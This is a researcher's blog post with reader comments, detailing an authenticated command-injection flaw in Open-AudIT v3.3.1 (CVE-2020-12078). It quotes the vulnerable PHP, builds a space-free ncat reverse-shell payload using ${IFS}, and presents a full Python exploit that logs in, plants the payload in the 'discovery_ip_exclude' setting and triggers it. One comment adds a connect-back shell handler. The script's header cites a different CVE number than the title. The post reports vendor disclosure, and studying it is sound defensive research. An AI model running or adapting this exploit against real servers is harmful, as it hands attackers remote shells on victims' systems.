Open-AudIT v3.3.1 Remote Command Execution (CVE-2020-12078)

Estimated Reading Time: 6 minutes

Summary of Open-AudIT

Open-AudIT is an application to tell you exactly what is on your network, how it is configured, and when it changes. Open-AudIT will run on Windows and Linux systems. Essentially, Open-AudIT is a database of information, that can be queried via a web interface. Data about the network is inserted via a Bash Script (Linux) or VBScript (Windows). The entire application is written in PHP, bash, and VBScript. These are all ‘scripting’ languages – no compiling and human-readable source code. Making changes and customizations is both quick and easy.

About the exploit

I found the vulnerability by analyzing a function that dealing with some global settings of the software, the logic of the application verifies if a specific option is used before pass it to the vulnerable function.

By controlling a global option called “excluded IP”; I can inject a malicious command inside it before it will be passed to exec function and get executed.

An authenticated user can set this option and store any value inside it without being filtered, which means again that I can control this value and inject a malicious command inside it.

After injecting the malicious value inside the “excluded IP” option, we need to start a discovery that will scan the network using pre-installed Nmap software and pass the “excluded IP” to Nmap via exec function to trigger the injected payload.

So, I started as usual with my super simple RCE scanner script to hunt for RCE in Open-AudIT.

After running the script, I got an interesting result in a file called “discoveries_helper.php”

		if ( ! empty($discovery->attributes->other->nmap->exclude_ip)) {
			
			$command = 'nmap -n -sL --exclude ' . $discovery->attributes->other->nmap->exclude_ip . ' ' . $discovery->attributes->other->subnet;
		} else {
			$command = 'nmap -n -sL ' . $discovery->attributes->other->subnet;
		}

		if (php_uname('s') === 'Darwin') {
			$command = '/usr/local/bin/' . $command;
		}
    $log->command = $command;
		exec($command, $output, $return_var);
		if ($return_var === 0) {
			foreach ($output as $line) {
				if (stripos($line, 'Nmap scan report for') === 0) {
					$temp = explode(' ', $line);
					$ip_addresses[] = $temp[4];
				}
			}
		}

As we can see in line #86, a variable called $command passed to the exec function, and in line #77, we can see that a value of “execlude_ip” is concatenated with the main Nmap command if the “execlude_ip” is not empty.

This code will exist in all_ip_list function that will be triggered when we do a discovery scan.

To know actually how the exclude_ip variable is handled, we have to take a look at the following code:

		if ( ! empty($CI->config->config['discovery_ip_exclude'])) {
			// Account for users adding multiple spaces which would be converted to multiple comma's.
			$exclude_ip = preg_replace('!\s+!', ' ', $CI->config->config['discovery_ip_exclude']);
			// Convert spaces to comma's
			$exclude_ip = str_replace(' ', ',', $exclude_ip);
			if ( ! empty($discovery->attributes->other->nmap->exclude_ip)) {
				$discovery->attributes->other->nmap->exclude_ip .= ',' . $exclude_ip;
			} else {
				$discovery->attributes->other->nmap->exclude_ip = $exclude_ip;
			}
		}

This code will get the value of the “discovery_ip_exclude” option and set it as exclude_ip value; we will back to this code, later on, to see how it handles the exclude_ip value.

After Some digging in the code, I found that the value “discovery_ip_exclude” are handled by the following page:

http://IP/en/omk/open-audit/configuration?configuration.name=likediscovery_

Then, we can edit the discovery_ip_exclude as the following:

So based on what we know so far, this value will be called when we start a discovery, so let’s do that by creating a new discovery and start it.

This value is sent via PATCH request, we will handle that later on in the exploit code

We can navigate to the following page:

http://ip/en/omk/open-audit/discoveries/create

After creating it, we will get the following result:

we can start the scan now to get the following:

We got our command injected as we expected; But we see that the spaces inside our text are replaced, lets back to the previous code to understand that.

		if ( ! empty($CI->config->config['discovery_ip_exclude'])) {
			// Account for users adding multiple spaces which would be converted to multiple comma's.
			$exclude_ip = preg_replace('!\s+!', ' ', $CI->config->config['discovery_ip_exclude']);
			// Convert spaces to comma's
			$exclude_ip = str_replace(' ', ',', $exclude_ip);
			if ( ! empty($discovery->attributes->other->nmap->exclude_ip)) {
				$discovery->attributes->other->nmap->exclude_ip .= ',' . $exclude_ip;
			} else {
				$discovery->attributes->other->nmap->exclude_ip = $exclude_ip;
			}
		}

As we can see in line #279, the code will replace the spaces with “,” which means that we cannot use spaces in our payload.

Payload Writing

So, after we injected our command without problems, we will try to write a payload without spaces.

The first thing that came to my mind is to use “${IFS}” instead of space as we did in a previous article and to escape the command we can simply use “;” to get the following payload:

;My${IFS}Payload;

I will try that with a reverse shell using Netcat to get the following:

;ncat${IFS}-e${IFS}/bin/bash${IFS}10.0.0.1${IFS}1337${IFS};

We escaped the command, we replaced the space with ${IFS}, and everything should work without problems.

To get the command executed, we need to do the following:

  • Change the global setting “discovery_ip_exclude” to our payload
  • Start a normal discovery

And when we start a normal discovery, the software will check if the “discovery_ip_exclude” not empty then pass it to the exec function as I explained before.

After executing the previous steps, I should get the following:

We got our command executed and we popped a shell!

Exploit Writing

To automate the exploitation process, I wrote a python script to handle the login process then change the global settings and inject our payload inside the “discovery_ip_exclude” option, and finally, create and start a new discovery.

During writing the exploit, I have to handle some CSRF issues and also play with PATCH requests and send them probably when I try to add the “discovery_ip_exclude” option.

Also, I had to pay attention to a couple of issues such as creating a unique scan name, retrieve the created discovery scan automatically, and many other things that you can see in the code.

And here is the final code:

#!/usr/bin/python3

# Exploit Title: Open-AudIT v3.3.1 Professional Remote Code Execution
# Date: 22/04/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://opmantek.com/
# Version: v3.3.1
# Tested on: Ubuntu 18.04 / PHP 7.2.24

import requests
import sys
import warnings
import random
import string
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


if len(sys.argv) != 6:
    print("[~] Usage : ./openaudit-exploit.py url username password ip port")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

request = requests.session()

def inject_payload():
    configuration_path = url+"/en/omk/open-audit/configuration/90"
    # data = "payload={'expt_name' : 'A60E001', 'status' : 'done' }"
    data = 'data={"data":{"id":"90","type":"configuration","attributes":{"value":";ncat${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s${IFS};"}}}' % (ip, port)
    request.patch(configuration_path, data)
    print("[+] Payload injected in settings")


def start_discovery():
    discovery_path = url+"/en/omk/open-audit/discoveries/create"
    post_discovery_path = url+"/en/omk/open-audit/discoveries"
    scan_name = "".join([random.choice(string.ascii_uppercase) for i in range(10)])
    req = request.get(discovery_path)

    response = req.text
    soup = BeautifulSoup(response, "html5lib")
    token = soup.findAll('input')[5].get("value")
    buttons = soup.findAll("button")
    headers = {"Referer" : discovery_path}
    request_data = {
    "data[attributes][name]":scan_name,
    "data[attributes][other][subnet]":"10.10.10.1/24",
    "data[attributes][other][ad_server]":"",
    "data[attributes][other][ad_domain]":"",
    "submit":"",
    "data[type]":"discoveries",
    "data[access_token]":token,
    "data[attributes][complete]":"y",
    "data[attributes][org_id]":"1",
    "data[attributes][type]":"subnet",
    "data[attributes][devices_assigned_to_org]":"",
    "data[attributes][devices_assigned_to_location]":"",
    "data[attributes][other][nmap][discovery_scan_option_id]":"1",
    "data[attributes][other][nmap][ping]":"y",
    "data[attributes][other][nmap][service_version]":"n",
    "data[attributes][other][nmap][open|filtered]":"n",
    "data[attributes][other][nmap][filtered]":"n",
    "data[attributes][other][nmap][timing]":"4",
    "data[attributes][other][nmap][nmap_tcp_ports]":"0",
    "data[attributes][other][nmap][nmap_udp_ports]":"0",
    "data[attributes][other][nmap][tcp_ports]":"22,135,62078",
    "data[attributes][other][nmap][udp_ports]":"161",
    "data[attributes][other][nmap][timeout]":"",
    "data[attributes][other][nmap][exclude_tcp_ports]":"",
    "data[attributes][other][nmap][exclude_udp_ports]":"",
    "data[attributes][other][nmap][exclude_ip]":"",
    "data[attributes][other][nmap][ssh_ports]":"22",
    "data[attributes][other][match][match_dbus]":"",
    "data[attributes][other][match][match_fqdn]":"",
    "data[attributes][other][match][match_dns_fqdn]":"",
    "data[attributes][other][match][match_dns_hostname]":"",
    "data[attributes][other][match][match_hostname]":"",
    "data[attributes][other][match][match_hostname_dbus]":"",
    "data[attributes][other][match][match_hostname_serial]":"",
    "data[attributes][other][match][match_hostname_uuid]":"",
    "data[attributes][other][match][match_ip]":"",
    "data[attributes][other][match][match_ip_no_data]":"",
    "data[attributes][other][match][match_mac]":"",
    "data[attributes][other][match][match_mac_vmware]":"",
    "data[attributes][other][match][match_serial]":"",
    "data[attributes][other][match][match_serial_type]":"",
    "data[attributes][other][match][match_sysname]":"",
    "data[attributes][other][match][match_sysname_serial]":"",
    "data[attributes][other][match][match_uuid]":""

    }
    print("[+] Creating discovery ..")
    req = request.post(post_discovery_path, data=request_data, headers=headers, allow_redirects=False)
    disocvery_url = url + req.headers['Location'] + "/execute"
    print("[+] Triggering payload ..")
    print("[+] Check your nc ;)")
    request.get(disocvery_url)


def login():
    login_info = {
    "redirect_url": "/en/omk/open-audit",
    "username": username,
    "password": password
    }
    login_request = request.post(url+"/en/omk/open-audit/login", login_info)
    login_text = login_request.text
    if "There was an error authenticating" in login_text:
        return False
    else:
        return True

if login():
    print("[+] LoggedIn Successfully")
    inject_payload()
    start_discovery()
else:
    print("[-] Cannot login!")

And after running the exploit code, we will get the following:

We popped a shell!

Please note that you can exploit the vulnerability on windows version too.

Exploitation note

vulnerability disclosure

I already sent the vulnerability details and a full POC to the Opmantek team, they fixed the vulnerability and issued a patch for it, and you can expect the next version by end of May.

5 Replies to “Open-AudIT v3.3.1 Remote Command Execution (CVE-2020-12078)”

  1. Article is grrat. I really appreciate if someone let me know the colorscheme used in the code display. Thanks yo8

  2. Nice rce, thanks for the sharing.
    You can write auto handler instead of nc, like this ;
    def handler(lp):
    “””
    This is the client handler, to catch the connectback
    “””
    print “(+) starting handler on port %d” % lp
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((“0.0.0.0”, lp))
    s.listen(1)
    conn, addr = s.accept()
    print “(+) connection from %s” % addr[0]
    t.sock = conn
    print “(+) pop thy shell!”
    t.interact()

    Resource : https://github.com/k8gege/CiscoExploit/blob/master/CVE-2019-1821.py

Leave a Reply

Your email address will not be published. Required fields are marked *